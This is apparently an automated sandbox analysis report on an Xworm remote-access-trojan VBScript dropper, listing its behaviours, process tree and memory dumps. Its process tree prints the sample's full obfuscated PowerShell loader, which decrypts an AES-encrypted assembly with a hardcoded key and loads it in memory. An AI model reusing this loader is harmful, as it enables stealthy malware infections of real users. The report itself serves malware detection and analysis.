Analysis
- max time kernel
150s - max time network
151s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
12/10/2026, 18:46
General
- Target CI_PL_BL_1653432026012.vbs
- Size 5.9MB
- Sample261012-xetk2sed32
- SHA256 8d6f6854aca28a10770458ea85e188f122eebfeffd88ab1487c68f81db186fb4
Malware Config
Signatures
- Family: Xworm
Xworm is a remote access trojan written in C#.
- Detect Xworm Payload 1 IoCs
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
- Creates a file in the Startup directory 1 TTPs 2 IoCs
A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.
- Executes dropped EXE 1 IoCs
- Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
- Suspicious use of SetThreadContext 1 IoCs
- Enumerates video capture drivers 2 TTPs 1 IoCs
Queries the legacy Video for Windows capture drivers. This is commonly abused by RATs to check for available webcams on the system before reporting to their C2.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious use of AdjustPrivilegeToken 4 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 10 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\CI_PL_BL_1653432026012.vbs"1⤵
- Executes a VBScript file via the Windows Script Host.
- Reads the TCP/IP host and domain name from the registry
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$metaescaline=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6;$mobilities=[Text.Encoding]::UTF8.GetBytes('SuaChaveAqui32BytesExemplo123456');$pratiques=[Text.Encoding]::UTF8.GetBytes('1234567890123456');$sputterer=[Convert]::FromBase64String($metaescaline);$oligonephrous=[Security.Cryptography.Aes]::Create();$oligonephrous.Key=$mobilities;$oligonephrous.IV=$pratiques;$osteotheca=$oligonephrous.CreateDecryptor();$Alicorns=$osteotheca.TransformFinalBlock($sputterer,0,$sputterer.Length);[AppDomain]::CurrentDomain.Load($Alicorns)|Out-Null;[Win32.RMP.aaaaaaa]::aaaaaaaaaaa('e/NEMz1JlFvsP2ZmjLaG3sK6k+++Cr7InW9PfgCMpCWbTs54tfZjYPU9pSxdO7odNt6nhaggXf42iK/0Dz3lvA==','g3aTPA69YBF6JeWfTZyVmIQJKwq4AjRhJDWaxk0u1bk=','Dr//DWd/v/Ihdw0zsCfhduyyhGdEKlboyRe4N9NUwYk1M3Tqys+ZOSFoVe7LWLa+','opUnJh3AWCto6wMl/chL+1NWLfHgLTMw6MoaARrkHbg=','iXDbvgtk6o97VSTGYg0GFeeNPrRC0zHY5ltfi8NDHIo=','','UI+BbqtJ0478EY6cH1kP6fe0xLvjCretb2p/CS1u8jg=','eZ2tII3rS4KPF2kVIwoEdQ+KdvLukMiGyOTbqOB9i14=','','rFQ1fqbcb+L5htU7iQWBWxsxgZpBPd/oe+FMbL6MKkitD2iIZgZNKh466I+JKm6j','SWU6TgFE+m0BOyAHjoa3td9WIkvYcDt7TfmZ0Eqi0IU=','g/OYR6Bo1rM5otDw0TaFvs1IBtZbAKOd+G88FWuwtLE=','nzpZHM5kC8lcMu+P8Wsr8wncEky/QVgL5yWgpkn0frg=','DH1mr5h9QPtmgdhqa/IDcbOxTWJofB62qSrp8GTtBTo=','9fpPNXgmsq65JOOyExzc07M0BnRGZTBs6RZAXhapvws=','tRQ0z4G3dwTZ/fT7gKamsjuRxq+TC4FLJWzJ0EIWnLA=','','','')"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$metaescaline=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6;$mobilities=[Text.Encoding]::UTF8.GetBytes('SuaChaveAqui32BytesExemplo123456');$pratiques=[Text.Encoding]::UTF8.GetBytes('1234567890123456');$sputterer=[Convert]::FromBase64String($metaescaline);$oligonephrous=[Security.Cryptography.Aes]::Create();$oligonephrous.Key=$mobilities;$oligonephrous.IV=$pratiques;$osteotheca=$oligonephrous.CreateDecryptor();$Alicorns=$osteotheca.TransformFinalBlock($sputterer,0,$sputterer.Length);[AppDomain]::CurrentDomain.Load($Alicorns)|Out-Null;[Win32.RMP.aaaaaaa]::aaaaaaaaaaa('e/NEMz1JlFvsP2ZmjLaG3sK6k+++Cr7InW9PfgCMpCWbTs54tfZjYPU9pSxdO7odNt6nhaggXf42iK/0Dz3lvA==','g3aTPA69YBF6JeWfTZyVmIQJKwq4AjRhJDWaxk0u1bk=','Dr//DWd/v/Ihdw0zsCfhduyyhGdEKlboyRe4N9NUwYk1M3Tqys+ZOSFoVe7LWLa+','opUnJh3AWCto6wMl/chL+1NWLfHgLTMw6MoaARrkHbg=','iXDbvgtk6o97VSTGYg0GFeeNPrRC0zHY5ltfi8NDHIo=','','UI+BbqtJ0478EY6cH1kP6fe0xLvjCretb2p/CS1u8jg=','eZ2tII3rS4KPF2kVIwoEdQ+KdvLukMiGyOTbqOB9i14=','','rFQ1fqbcb+L5htU7iQWBWxsxgZpBPd/oe+FMbL6MKkitD2iIZgZNKh466I+JKm6j','SWU6TgFE+m0BOyAHjoa3td9WIkvYcDt7TfmZ0Eqi0IU=','g/OYR6Bo1rM5otDw0TaFvs1IBtZbAKOd+G88FWuwtLE=','nzpZHM5kC8lcMu+P8Wsr8wncEky/QVgL5yWgpkn0frg=','DH1mr5h9QPtmgdhqa/IDcbOxTWJofB62qSrp8GTtBTo=','9fpPNXgmsq65JOOyExzc07M0BnRGZTBs6RZAXhapvws=','tRQ0z4G3dwTZ/fT7gKamsjuRxq+TC4FLJWzJ0EIWnLA=','','','')"1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"2⤵
- Creates a file in the Startup directory
- Enumerates video capture drivers
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /target:exe /out:"C:\Users\Admin\AppData\Local\Temp\CasPol.exe" "C:\Users\Admin\AppData\Local\Temp\guardian_src_d67c1373e72a4088a925f4027dc4d1b4.cs"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES1406.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC91FDDDA85F64BD28C79D974DB1B4F2.TMP"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\CasPol.exe"C:\Users\Admin\AppData\Local\Temp\CasPol.exe" 59923⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\conhost.execonhost.exe1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe2⤵
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k GPSvcGroup1⤵
Network
MITRE ATT&CK Enterprise v16
Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
CasPol.exe
RES1406.tmp
__PSScriptPolicyTest_l5zdhvnu.i22.psm1
CSC91FDDDA85F64BD28C79D974DB1B4F2.TMP
guardian_src_d67c1373e72a4088a925f4027dc4d1b4.cs
memory/600-13-0x00007FFA50D40000-0x00007FFA516E4000-memory.dmp
memory/600-2-0x00007FFA50D40000-0x00007FFA516E4000-memory.dmp
memory/600-8-0x00007FFA50D40000-0x00007FFA516E4000-memory.dmp
memory/600-12-0x00007FFA50D40000-0x00007FFA516E4000-memory.dmp
memory/600-7-0x00007FFA50D40000-0x00007FFA516E4000-memory.dmp
memory/600-14-0x00007FFA50D40000-0x00007FFA516E4000-memory.dmp
memory/600-15-0x00007FFA50D40000-0x00007FFA516E4000-memory.dmp
memory/600-16-0x00007FFA50D40000-0x00007FFA516E4000-memory.dmp
memory/600-0-0x00007FFA50ECF000-0x00007FFA50ED0000-memory.dmp
memory/600-25-0x00007FFA50D40000-0x00007FFA516E4000-memory.dmp
memory/600-5-0x00007FFA50D40000-0x00007FFA516E4000-memory.dmp
memory/600-20-0x0000017E229A0000-0x0000017E229C6000-memory.dmp
memory/600-6-0x0000017E22970000-0x0000017E22992000-memory.dmp
memory/600-11-0x00007FFA50D40000-0x00007FFA516E4000-memory.dmp
memory/600-1-0x00007FFA50D40000-0x00007FFA516E4000-memory.dmp
memory/600-33-0x00007FFA50D40000-0x00007FFA516E4000-memory.dmp
memory/1256-54-0x0000000000210000-0x0000000000218000-memory.dmp
memory/2648-17-0x00007FFA50D40000-0x00007FFA516E4000-memory.dmp
memory/2648-23-0x00007FFA50D40000-0x00007FFA516E4000-memory.dmp
memory/2648-29-0x00007FFA50D40000-0x00007FFA516E4000-memory.dmp
memory/2648-27-0x00007FFA50D40000-0x00007FFA516E4000-memory.dmp
memory/2648-26-0x00007FFA50D40000-0x00007FFA516E4000-memory.dmp
memory/2648-24-0x00007FFA50D40000-0x00007FFA516E4000-memory.dmp
memory/2648-18-0x00007FFA50D40000-0x00007FFA516E4000-memory.dmp
memory/2648-19-0x00007FFA50D40000-0x00007FFA516E4000-memory.dmp
memory/2648-21-0x00007FFA50D40000-0x00007FFA516E4000-memory.dmp
memory/2648-22-0x00007FFA50D40000-0x00007FFA516E4000-memory.dmp
memory/5992-55-0x0000000008F50000-0x000000000959A000-memory.dmp
memory/5992-61-0x0000000009C20000-0x000000000A29C000-memory.dmp
memory/5992-42-0x00000000080B0000-0x00000000080E0000-memory.dmp
memory/5992-41-0x00000000080E0000-0x0000000008172000-memory.dmp
memory/5992-36-0x0000000006410000-0x00000000069CA000-memory.dmp
memory/5992-35-0x0000000005DE0000-0x0000000005E46000-memory.dmp
memory/5992-34-0x0000000005D30000-0x0000000005DCC000-memory.dmp
memory/5992-30-0x0000000000400000-0x000000000041C000-memory.dmp
memory/5992-56-0x00000000086F0000-0x0000000008726000-memory.dmp
memory/5992-60-0x0000000008790000-0x00000000087C6000-memory.dmp
memory/5992-59-0x0000000008730000-0x000000000874A000-memory.dmp
memory/5992-43-0x0000000008290000-0x0000000008298000-memory.dmp
memory/5992-62-0x0000000008900000-0x0000000008996000-memory.dmp
memory/5992-63-0x0000000008850000-0x0000000008872000-memory.dmp
memory/5992-64-0x0000000008880000-0x000000000889E000-memory.dmp
memory/5992-65-0x00000000089A0000-0x00000000089EA000-memory.dmp
memory/5992-66-0x0000000008AF0000-0x0000000008E4B000-memory.dmp
memory/5992-67-0x00000000095A0000-0x0000000009606000-memory.dmp
memory/5992-68-0x0000000009610000-0x0000000009632000-memory.dmp
memory/5992-69-0x0000000009790000-0x00000000097DC000-memory.dmp
memory/5992-72-0x000000000B400000-0x000000000B420000-memory.dmp
memory/5992-73-0x000000000B450000-0x000000000B4F3000-memory.dmp
memory/5992-74-0x000000000B530000-0x000000000B53A000-memory.dmp